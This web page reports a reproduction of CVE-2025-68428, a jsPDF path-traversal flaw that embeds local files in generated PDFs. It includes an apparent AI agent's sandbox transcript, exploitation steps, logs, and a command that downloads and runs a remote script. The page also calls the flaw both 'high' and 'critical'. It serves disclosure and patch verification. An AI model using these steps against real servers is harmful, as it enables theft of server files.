Skip to content

CVE-2025-68428: Verified Repro With Script Download

CVE-2025-68428: jsPDF Local File Inclusion/Path Traversal in Node.js builds

CVE-2025-68428 is verified against jspdf · npm. Affected versions: <= 3.0.4. Fixed in 4.0.0. Vulnerability class: Path Traversal. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00044.

REPRO-2026-00044 jspdf · npm Path Traversal Jan 7, 2026 CVE entry ↗ .txt
Severity
HIGH
CVSS
7.5
Reproduced in
8m 13s
Tool calls
34
01 · Overview

What Is CVE-2025-68428?

CVE-2025-68428 (GHSA-f8cm-6447-x5h2) is a critical local file inclusion / path traversal vulnerability in jsPDF's Node.js builds (<= 3.0.4) that lets an attacker who controls a path argument to methods like addImage, loadFile, html, or addFont read arbitrary files from the local filesystem, with their contents embedded verbatim into the generated PDF. Pruva reproduced it (reproduction REPRO-2026-00044).

02 · Severity & CVSS

CVE-2025-68428 Severity & CVSS Score

CVE-2025-68428 is rated high severity, with a CVSS base score of 7.5 out of 10.

HIGH threat level
7.5 / 10 CVSS base
Weakness CWE-35 — Path Traversal

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected jspdf Versions

jspdf · npm versions <= 3.0.4 are affected.

How to Reproduce CVE-2025-68428

$ pruva-verify REPRO-2026-00044
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00044/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2025-68428

Reproduced by Pruva's autonomous agents — 34 tool calls over 8 min. Full root-cause analysis and the complete transcript are below.

How the agent worked 39 events · 34 tool calls · 8 min
8 minDuration
34Tool calls
0Reasoning steps
39Events
Agent activity over 8 min
Support
3
Repro
33
0:0008:13

Root Cause and Exploit Chain for CVE-2025-68428

Summary

  • Vulnerability: Local File Inclusion/Path Traversal via file-loading helpers in jsPDF Node builds
  • Impact: Attacker-controlled path arguments to jsPDF APIs can read arbitrary files on the server and embed their raw bytes into generated PDFs
  • Affected: jsPDF <= 3.0.4 (Node builds: dist/jspdf.node.js and dist/jspdf.node.min.js)
  • Fixed: jsPDF >= 4.0.0 (default deny FS reads; requires explicit enable or Node --permission)

Reproduction Evidence

  • Vulnerable version 3.0.4: Passing a local path to doc.addImage(secret.txt, ...) produced a PDF containing the secret token from a local file
    • See logs: logs/run_*.log -> shows [HIT] for vulnerable:addImage
    • Artifact: repro_work/vuln/out_addImage.pdf contains the token string (search via grep -a)
  • Patched version 4.0.0 (latest at test time): Same PoC raises an error and does not create a PDF
    • Error: "Trying to read a file from local file system... set jsPDF.allowFsRead or use --permission --allow-fs-read"
    • No token present in patched outputs; bypass suite attempts did not exfiltrate

Root Cause Details

  • In Node builds <=3.0.4, helper function loadFile() directly accepted user-provided paths and read files without restriction. Several high-level APIs (addImage, html, addFont) used this helper when passed a string path (as opposed to binary data), causing raw file contents to be embedded in the PDF stream.
  • The 4.0.0 patch introduces permission gating for file system access with jsPDF.allowFsRead defaulting to false and honoring Node.js permission model flags. Calls trying to resolve string paths emit a hard error unless enabled.

Exploitation Path

  1. Import jsPDF Node build (require('jspdf/dist/jspdf.node.js'))
  2. Provide attacker-controlled relative or absolute path to doc.addImage (or html/addFont)
  3. Vulnerable loader reads the file and embeds content verbatim into the PDF
  4. Attacker obtains the PDF and extracts embedded sensitive content

Patched Behavior Verification

  • Tested latest npm release (4.0.0) which is newer than the first patched tag or equal; verified it blocks file reads by default
  • Error message confirms new permission gate; no PDFs contained secret token

Mitigations/Recommendations

  • Upgrade to jsPDF >= 4.0.0
  • In production Node 22+/23+/24+, use --permission with --allow-fs-read narrowly scoped if jsPDF needs local asset reads
  • For older Node versions, sanitize and whitelist any paths passed to jsPDF APIs; avoid passing user-provided paths directly

Artifacts

  • logs/run_*.log: Full run logs including errors and hits/misses
  • logs/summary.log: Reproduction summary (FOUND/MISSING etc.)
  • repro_work/vuln/out_addImage.pdf: Vulnerable PoC artifact containing secret token
  • repro_work/patched/*: Patched tests and bypass attempts outputs

CVE-2025-68428 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/39
0:008:13
0:00
session startedgpt-5.1-codex · ghsa-f8cm-6447-x5h2 · ghsa-f8c
1:17
extract_facts
no facts extracted
1:17
1:17
supportrepro
8:13
8:13
8:13
8:13
#!/usr/bin/env bash
set -euo pipefail

# Reproduction script for GHSA-f8cm-6447-x5h2 (jsPDF LFI/Path Traversal in Node builds)
# - Installs Node.js if missing
# - Tests vulnerable jsPDF@3.0.4 PoC that embeds arbitrary local file content into a PDF
# - Tests latest patched jsPDF@>=4.0.0 and verifies the PoC is blocked
# - Produces logs and artifacts under /bundle/logs and /bundle/repro_work
# Exit codes: 0 = reproduced (vuln works, patched blocks), 1 = not reproduced

ROOT_DIR="/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle"
WORK_DIR="$ROOT_DIR/repro_work"
LOG_DIR="$ROOT_DIR/logs"
mkdir -p "$WORK_DIR" "$LOG_DIR"
RUN_LOG="$LOG_DIR/run_$(date +%Y%m%d_%H%M%S).log"
SUMMARY_LOG="$LOG_DIR/summary.log"

log() { echo "[$(date +%F_%T)] $*" | tee -a "$RUN_LOG"; }

ensure_node() {
8:13
$bash /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/reproduction_steps.sh
18.5s
{"cwd":"/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243","duration_ms":18515,"exit_code":1,"stderr":"","stdout":"[2026-01-07_18:26:02] Starting reproduction for GHSA-f8cm-6447-x5h2\n[2026-01-07_18:26:02] Node present: v22.21.1, npm: 10.9.4\n[2026-01-07_18:26:02] Prepared secret at /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/secret.txt with token: JS_PDF_LFI_SECRET_TOKEN=1767810362_2308\n[2026-01-07_18:26:04] Latest jspdf on npm: 4.0.0 (patched baseline >= 4.0.0)\n[2026-01-07_18:26:04] Initializing npm project in /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln\n[2026-01-07_18:26:06] Installing jspdf@3.0.4 in /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln\n[2026-01-07_18:26:11] jspdf installed in /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln: 3.0.4\n[2026-01-07_18:26:11] Executing addImage PoC (vuln) -> /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addImage.pdf\n[2026-01-07_18:26:11] Executing addFont PoC (vuln) -> /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addFont.pdf\n[2026-01-07_18:26:11] Vulnerabl… [truncated]
8:13
8:13
8:13
8:13
#!/usr/bin/env bash
set -euo pipefail

# Reproduction script for GHSA-f8cm-6447-x5h2 (jsPDF LFI/Path Traversal in Node builds)
# - Installs Node.js if missing
# - Tests vulnerable jsPDF@3.0.4 PoC that embeds arbitrary local file content into a PDF
# - Tests latest patched jsPDF@>=4.0.0 and verifies the PoC is blocked
# - Produces logs and artifacts under /bundle/logs and /bundle/repro_work
# Exit codes: 0 = reproduced (vuln works, patched blocks), 1 = not reproduced

ROOT_DIR="/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle"
WORK_DIR="$ROOT_DIR/repro_work"
LOG_DIR="$ROOT_DIR/logs"
mkdir -p "$WORK_DIR" "$LOG_DIR"
RUN_LOG="$LOG_DIR/run_$(date +%Y%m%d_%H%M%S).log"
SUMMARY_LOG="$LOG_DIR/summary.log"

# Log only to the run log file to avoid contaminating command substitution outputs
log() { echo "[$(date +%F_%T)] $*" >> "$RUN_LOG"; }
8:13
$bash /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/reproduction_steps.sh
9.4s
8:13
$bash /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/reproduction_steps.sh
9.2s
8:13
8:13
# Root Cause Analysis - GHSA-f8cm-6447-x5h2 (jsPDF Local File Inclusion / Path Traversal)

Summary
- Vulnerability: Local File Inclusion/Path Traversal via file-loading helpers in jsPDF Node builds
- Impact: Attacker-controlled path arguments to jsPDF APIs can read arbitrary files on the server and embed their raw bytes into generated PDFs
- Affected: jsPDF <= 3.0.4 (Node builds: dist/jspdf.node.js and dist/jspdf.node.min.js)
- Fixed: jsPDF >= 4.0.0 (default deny FS reads; requires explicit enable or Node --permission)

Reproduction Evidence
- Vulnerable version 3.0.4: Passing a local path to doc.addImage(secret.txt, ...) produced a PDF containing the secret token from a local file
  - See logs: logs/run_*.log -> shows [HIT] for vulnerable:addImage
  - Artifact: repro_work/vuln/out_addImage.pdf contains the token string (search via `grep -a`)
- Patched version 4.0.0 (latest at test time): Same PoC raises an error and does not create a PDF
  - Error: "Trying to read a file from local file system... set jsPDF.allowFsRead or use --permission --allow-fs-read"
  - No token present in patched outputs; bypass suite attempts did not exfiltrate

Root Cause Details
- In Node builds <=3.0.4, … [truncated]
8:13
$bash -lc 'ls -l /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln | sed -n "1,120p"'
0.5s
total 23
drwxr-xr-x 23 root root 4096 Jan  7 18:26 node_modules
-rw-r--r--  1 root root 3397 Jan  7 18:28 out_addFont.pdf
-rw-r--r--  1 root root 3473 Jan  7 18:28 out_addImage.pdf
-rw-r--r--  1 root root 8971 Jan  7 18:28 package-lock.json
-rw-r--r--  1 root root   50 Jan  7 18:26 package.json
-rw-r--r--  1 root root  674 Jan  7 18:28 poc_addfont.js
-rw-r--r--  1 root root  718 Jan  7 18:28 poc_addimage.js
8:13
$bash -lc 'grep -a -n "JS_PDF_LFI_SECRET_TOKEN" -n /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addImage.pdf || true'
0.6s
180:This is a locally stored secret file. JS_PDF_LFI_SECRET_TOKEN=1767810362_2308
181:JS_PDF_LFI_SECRET_TOKEN=1767810491_21822
8:13
$bash -lc 'git tag --sort=-version:refname 2>/dev/null | head -20 || true'
0.6s
8:13
$bash -lc 'node -e "console.log(require(\"jspdf/package.json\").version)" 2>/dev/null || true'
0.6s
4.0.0
8:13
$bash -lc 'node -e "console.log(require(\"jspdf/package.json\").version)" 2>/dev/null || true'
0.6s
3.0.4
8:13
$bash -lc 'sed -n "1,200p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/run_$(ls -1 /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/ | grep run_ | sort | tail -1 | sed "s/^run_//").log'
0.6s
sed: can't read /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/run_20260107_182811.log.log: No such file or directory
8:13
8:13
8:13
$bash -lc 'sed -n "200,999p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/run_20260107_182811.log'
0.6s
{"cwd":"/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243","duration_ms":574,"exit_code":0,"stderr":"","stdout":"    at jsPDFAPI.loadFile (/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/node_modules/jspdf/dist/jspdf.node.js:15905:25)\n    at Object.processImageData (/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/node_modules/jspdf/dist/jspdf.node.js:10913:33)\n    at jsPDFAPI.addImage (/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/node_modules/jspdf/dist/jspdf.node.js:10887:34)\n    at /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/patch_attempt_9.js:33:11\n    at Object.<anonymous> (/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/patched/patch_attempt_9.js:59:3)\n    at Module._compile (node:internal/modules/cjs/loader:1706:14)\n    at Object..js (node:internal/modules/cjs/loader:1839:10)\n    at Module.load (node:internal/modules/cjs/loader:1441:32)\n    at Function._load (node:internal/modules/cjs/loader:1263:12)\n[2026-01-07_18:28:20] [WARN] PDF not found for patched:loadFile_direct: /root/.pruva/runs/ghsa-f8cm-6447-x5h… [truncated]
8:13
$bash -lc 'sed -n "1,120p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro/rca_report.md'
0.5s
{"cwd":"/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243","duration_ms":541,"exit_code":0,"stderr":"","stdout":"# Root Cause Analysis - GHSA-f8cm-6447-x5h2 (jsPDF Local File Inclusion / Path Traversal)\n\nSummary\n- Vulnerability: Local File Inclusion/Path Traversal via file-loading helpers in jsPDF Node builds\n- Impact: Attacker-controlled path arguments to jsPDF APIs can read arbitrary files on the server and embed their raw bytes into generated PDFs\n- Affected: jsPDF <= 3.0.4 (Node builds: dist/jspdf.node.js and dist/jspdf.node.min.js)\n- Fixed: jsPDF >= 4.0.0 (default deny FS reads; requires explicit enable or Node --permission)\n\nReproduction Evidence\n- Vulnerable version 3.0.4: Passing a local path to doc.addImage(secret.txt, ...) produced a PDF containing the secret token from a local file\n  - See logs: logs/run_*.log -> shows [HIT] for vulnerable:addImage\n  - Artifact: repro_work/vuln/out_addImage.pdf contains the token string (search via `grep -a`)\n- Patched version 4.0.0 (latest at test time): Same PoC raises an error and does not create a PDF\n  - Error: \"Trying to read a file from local file system... set jsPDF.allowFsRead or use --permission --allow-fs-rea… [truncated]
8:13
$bash -lc 'printf "VULN_PDF_CONTENT_HIT? "; grep -a -Fq $(sed -n "1p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/secret.txt | sed "s/[]\[*.^$\/?|(){}+]/\\&/g") /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addImage.pdf && echo YES || echo NO'
0.6s
VULN_PDF_CONTENT_HIT? YES
8:13
$bash -lc 'sed -n "1,200p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro/repro_notes.txt || true'
0.6s
sed: can't read /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro/repro_notes.txt: No such file or directory
8:13
Reproduction Summary
- Vulnerable jsPDF 3.0.4 embeds local file contents when a file path is provided to addImage()
- Patched jsPDF 4.0.0 blocks local FS reads by default; attempts error out unless permissions are enabled

How To Run
- Execute: bash /bundle/reproduction_steps.sh
- Outputs:
  - logs/run_*.log: detailed run logs
  - logs/summary.log: concise verdicts
  - repro_work/vuln/out_addImage.pdf: contains secret token (proof)
  - repro_work/patched/attempts/*.pdf: patched/bypass artifacts
8:13
$bash -lc 'npm view jspdf versions --json | tail -n1'
2.0s
]
8:13
$bash -lc 'npm view jspdf version'
2.1s
4.0.0
8:13
$bash -lc 'printf "Secret token: "; sed -n "1p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/secret.txt; printf "\nGrep confirmation lines in vuln PDF: \n"; grep -a -n "JS_PDF_LFI_SECRET_TOKEN" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro_work/vuln/out_addImage.pdf | sed -n "1,4p"'
0.6s
Secret token: This is a locally stored secret file. JS_PDF_LFI_SECRET_TOKEN=1767810362_2308

Grep confirmation lines in vuln PDF: 
180:This is a locally stored secret file. JS_PDF_LFI_SECRET_TOKEN=1767810362_2308
181:JS_PDF_LFI_SECRET_TOKEN=1767810491_21822
8:13
$bash -lc 'printf "Patched PoC error excerpt: \n"; sed -n "1,220p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/logs/run_20260107_182811.log | grep -n "Trying to read a file from local file system" | head -1'
0.6s
Patched PoC error excerpt: 
58:PoC addImage error: Error: Trying to read a file from local file system. To enable this feature either run node with the --permission and --allow-fs-read flags or set the jsPDF.allowFsRead property.
8:13
# Patch Analysis - GHSA-f8cm-6447-x5h2 (jsPDF LFI/Path Traversal)

Tested Versions
- Vulnerable: jspdf 3.0.4 (Node build: require('jspdf/dist/jspdf.node.js'))
- Patched (latest available): jspdf 4.0.0 from npm at test time
  - Verified by `npm view jspdf version` -> 4.0.0

Patch Verification
- PoC against 3.0.4: SUCCESS. addImage() with a local file path embeds raw bytes of the file into the PDF. Token confirmed via grep in generated PDF.
- PoC against 4.0.0: BLOCKED. File reads emit error: "Trying to read a file from local file system. To enable this feature either run node with the --permission and --allow-fs-read flags or set the jsPDF.allowFsRead property." No PDF created.

What Changed (high level)
- In <=3.0.4, a loadFile() helper used by addImage/html/addFont read from the filesystem when passed a string path with no permission gating.
- In 4.0.0, jsPDF enforces a permission flag (jsPDF.allowFsRead=false by default) and integrates with Node's permissions feature, denying filesystem reads unless explicitly enabled.

Bypass Attempts (minimum 10)
All performed against 4.0.0. For each attempt, a PDF was generated only when the API did not read from disk; in all cases where a dis… [truncated]
8:13
$bash -lc 'sed -n "1,200p" /root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243/bundle/repro/patch_analysis.md'
0.6s
{"cwd":"/root/.pruva/runs/ghsa-f8cm-6447-x5h2_20260107-182243","duration_ms":573,"exit_code":0,"stderr":"","stdout":"# Patch Analysis - GHSA-f8cm-6447-x5h2 (jsPDF LFI/Path Traversal)\n\nTested Versions\n- Vulnerable: jspdf 3.0.4 (Node build: require('jspdf/dist/jspdf.node.js'))\n- Patched (latest available): jspdf 4.0.0 from npm at test time\n  - Verified by `npm view jspdf version` -> 4.0.0\n\nPatch Verification\n- PoC against 3.0.4: SUCCESS. addImage() with a local file path embeds raw bytes of the file into the PDF. Token confirmed via grep in generated PDF.\n- PoC against 4.0.0: BLOCKED. File reads emit error: \"Trying to read a file from local file system. To enable this feature either run node with the --permission and --allow-fs-read flags or set the jsPDF.allowFsRead property.\" No PDF created.\n\nWhat Changed (high level)\n- In <=3.0.4, a loadFile() helper used by addImage/html/addFont read from the filesystem when passed a string path with no permission gating.\n- In 4.0.0, jsPDF enforces a permission flag (jsPDF.allowFsRead=false by default) and integrates with Node's permissions feature, denying filesystem reads unless explicitly enabled.\n\nBypass Attempts (minimum 10)… [truncated]
8:13
session completed34 tool calls · 493.5s

Artifacts and Evidence for CVE-2025-68428

Scripts, logs, diffs, and output captured during the reproduction.

No artifacts available

08 · How to Fix

How to Fix CVE-2025-68428

Upgrade jspdf · npm to 4.0.0 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2025-68428 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2025-68428

How does the CVE-2025-68428 exploit work?

An attacker (or an application forwarding untrusted input) supplies a local file path to a jsPDF API such as doc.addImage(path, ...). loadFile() reads that file's contents unrestricted and jsPDF embeds the raw bytes into the generated PDF stream, so the file's contents can later be recovered simply by reading the resulting PDF.

Which jsPDF versions are affected by CVE-2025-68428, and where is it fixed?

jsPDF <= 3.0.4 (Node.js builds only) is affected. It is fixed in 4.0.0, which defaults to denying filesystem reads (jsPDF.allowFsRead = false) unless explicitly enabled or granted via Node's --permission flag.

How severe is CVE-2025-68428?

It is rated critical severity: it allows arbitrary local file disclosure by embedding file contents into generated PDFs, affecting any Node.js application that lets untrusted input reach path-accepting jsPDF APIs.

How can I reproduce CVE-2025-68428?

Download the verified script from this page and run it in an isolated environment against jsPDF 3.0.4 (Node build). It calls doc.addImage() with a path to a local file containing a secret token and shows the token appearing in the generated PDF, then confirms 4.0.0 raises a permission error and produces no such output.
11 · References

References for CVE-2025-68428

Authoritative sources for CVE-2025-68428 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.